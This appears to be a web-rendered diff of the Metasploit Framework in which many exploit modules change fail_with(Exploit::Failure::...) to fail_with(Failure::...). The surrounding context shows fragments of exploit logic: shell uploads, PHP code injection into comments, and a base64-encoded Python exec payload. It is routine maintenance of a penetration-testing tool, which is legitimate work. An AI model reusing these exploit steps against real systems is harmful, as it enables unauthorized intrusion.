msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Exploit::Failure::Unknown, msg)
|
||||
fail_with(Failure::Unknown, msg)
|
||||
else
|
||||
print_status(msg)
|
||||
end
|
||||
|
@ -171,7 +171,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
fail_with(Exploit::Failure::Unknown, msg)
|
||||
fail_with(Failure::Unknown, msg)
|
||||
else
|
||||
print_status(msg)
|
||||
end
|
||||
|
@ -286,7 +286,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Check output for success
|
||||
if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
|
||||
print_error("Second result: #{second_result.inspect}")
|
||||
fail_with(Exploit::Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
|
||||
fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
|
||||
end
|
||||
|
||||
resp = ''
|
||||
|
|
|
@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = payload.encoded
|
||||
|
||||
if not post(cmd, true)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to execute the desired command")
|
||||
fail_with(Failure::Unknown, "Unable to execute the desired command")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (res and res.code == 200)
|
||||
print_status("Successfully POST'd exploit data")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error POSTing exploit data")
|
||||
fail_with(Failure::Unknown, "Error POSTing exploit data")
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -202,14 +202,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if not session
|
||||
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
|
||||
fail_with(Failure::Unknown, "Error getting a session ID")
|
||||
end
|
||||
|
||||
# Inject payload
|
||||
print_status("Trying to inject the payload on #{@page}...")
|
||||
res = inject_code(session, payload.encoded)
|
||||
if not res or res !~ /#{@page}/
|
||||
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
|
||||
fail_with(Failure::Unknown, "Error injecting the payload")
|
||||
end
|
||||
|
||||
# Execute payload
|
||||
|
@ -220,7 +220,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
if not res or res.code != 200 or res.body !~ /HASH/
|
||||
print_status("#{res.code}\n#{res.body}")
|
||||
fail_with(Exploit::Failure::Unknown, "Error executing the payload")
|
||||
fail_with(Failure::Unknown, "Error executing the payload")
|
||||
end
|
||||
|
||||
print_good("Exploitation was successful")
|
||||
|
|
|
@ -104,11 +104,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
|
||||
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
|
||||
elsif res.code.to_i == 404
|
||||
fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
|
||||
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
|
||||
elsif res.body =~ /"error"\:"abort"/
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
|
||||
end
|
||||
|
||||
return fname
|
||||
|
@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res and res.code == 404
|
||||
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
|
||||
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
begin
|
||||
u = URI(upload_uri)
|
||||
rescue ::URI::InvalidURIError
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to get the upload_uri correctly")
|
||||
fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")
|
||||
end
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
|
@ -186,26 +186,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Authentication required... Proceeding...")
|
||||
|
||||
if @username.empty? or @password.empty?
|
||||
fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
|
||||
fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
|
||||
end
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
|
||||
print_status("#{peer} - Accessing the Login Form...")
|
||||
res = get_login_form
|
||||
if res.nil? or res.code != 200 or res.body !~ /login/
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
||||
end
|
||||
parse_login_options(res.body)
|
||||
|
||||
res = login
|
||||
if not res or res.code != 303
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||
end
|
||||
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Accessing the Upload Form...")
|
||||
|
@ -214,7 +214,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
upload_uri = Rex::Text.html_decode($1)
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading shell...")
|
||||
|
@ -222,7 +222,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = upload(upload_uri)
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed")
|
||||
fail_with(Failure::Unknown, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
register_files_for_cleanup("#{@upload_name}.")
|
||||
|
|
|
@ -95,9 +95,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
|
||||
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
|
||||
elsif res.code.to_i != 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
|
||||
end
|
||||
|
||||
fname
|
||||
|
@ -120,9 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
|
||||
fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")
|
||||
elsif res.body !~ /"res":"OK"/
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to rename file")
|
||||
end
|
||||
|
||||
new_name
|
||||
|
@ -132,7 +132,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exec(base, payload_fname)
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
|
||||
if res and res.code.to_i == 404
|
||||
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
|
||||
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -240,12 +240,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Check authentication
|
||||
if not session
|
||||
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
|
||||
fail_with(Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
|
||||
end
|
||||
|
||||
# Check writable permissions
|
||||
if not writable_page?(session)
|
||||
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
|
||||
fail_with(Failure::NoAccess, "There are no write permissions on #{@page}")
|
||||
end
|
||||
|
||||
# Upload payload
|
||||
|
@ -257,7 +257,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
python_cmd << "application = make_application(shared=True)"
|
||||
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
|
||||
fail_with(Failure::Unknown, "Error uploading the payload")
|
||||
end
|
||||
|
||||
# Execute payload
|
||||
|
|
|
@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Automatically detecting the target...")
|
||||
mytarget = select_target(banner, version)
|
||||
if mytarget.nil?
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
else
|
||||
mytarget = target
|
||||
|
@ -241,11 +241,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if res.code == 401
|
||||
fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
|
||||
fail_with(Failure::NoAccess, "Please specify correct values for USER and PASS")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
|
||||
fail_with(Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
|
||||
end
|
||||
|
||||
print_status("Unknown response #{res.code}")
|
||||
|
|
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# If the server returns 200 and the body contains our payload name,
|
||||
# we assume we uploaded the malicious file successfully
|
||||
if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
|
||||
end
|
||||
|
||||
register_file_for_cleanup(payload_name)
|
||||
|
|
|
@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Need to login first :-/
|
||||
cookie = openx_login(uri_base)
|
||||
if (not cookie)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to login!')
|
||||
fail_with(Failure::Unknown, 'Unable to login!')
|
||||
end
|
||||
print_status("Logged in successfully (cookie: #{cookie})")
|
||||
|
||||
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
ids = openx_find_campaign(uri_base, cookie)
|
||||
if (not ids)
|
||||
# TODO: try to add an advertiser and/or campaign
|
||||
fail_with(Exploit::Failure::Unknown, 'The system has no advertisers or campaigns!')
|
||||
fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!')
|
||||
end
|
||||
adv_id = ids[0]
|
||||
camp_id = ids[1]
|
||||
|
@ -128,14 +128,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Add the banner >:)
|
||||
ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
|
||||
if (not ban_id)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to upload the banner!')
|
||||
fail_with(Failure::Unknown, 'Unable to upload the banner!')
|
||||
end
|
||||
print_status("Successfully uploaded the banner image with id #{ban_id}")
|
||||
|
||||
# Find the filename
|
||||
ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
|
||||
if (not ban_fname)
|
||||
fail_with(Exploit::Failure::Unknown, 'Unable to find the banner filename!')
|
||||
fail_with(Failure::Unknown, 'Unable to find the banner filename!')
|
||||
end
|
||||
print_status("Resolved banner id to name: #{ban_fname}")
|
||||
|
||||
|
|
|
@ -150,7 +150,7 @@ EOS
|
|||
cmd ||= payload.encoded
|
||||
|
||||
if not go(cmd)
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to execute the desired command")
|
||||
fail_with(Failure::Unknown, "Unable to execute the desired command")
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -109,10 +109,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 500
|
||||
print_good("#{@peer} - Payload sent successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
fail_with(Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
elsif datastore['HTTP::chunked'] == true
|
||||
b = /chunked Transfer-Encoding forbidden/.match(res.body)
|
||||
if b
|
||||
fail_with(Exploit::Failure::Unknown, 'Target PHP installation does not support chunked encoding. ' +
|
||||
fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. ' +
|
||||
'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
|
||||
'Try disabling HTTP::chunked and trying again.')
|
||||
end
|
||||
|
|
|
@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Trying to login...")
|
||||
@cookie_name, @cookie_value = login
|
||||
if @cookie_name.nil? or @cookie_value.nil?
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Trying unauthenticated exploitation...")
|
||||
|
@ -190,7 +190,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
||||
@post_id = find_post_id
|
||||
if @post_id.nil?
|
||||
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
end
|
||||
|
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Injecting the PHP Code in a comment...")
|
||||
post_uri = post_comment
|
||||
if post_uri.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
|
||||
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
|
@ -217,7 +217,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
||||
res = send_request_cgi(options)
|
||||
if res and res.code == 301
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
elsif datastore['HTTP::chunked'] == true
|
||||
b = /chunked Transfer-Encoding forbidden/.match(res.body)
|
||||
if b
|
||||
fail_with(Exploit::Failure::BadConfig, 'Target PHP installation does not support chunked encoding. ' +
|
||||
fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. ' +
|
||||
'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
|
||||
'Try disabling HTTP::chunked and trying again.')
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue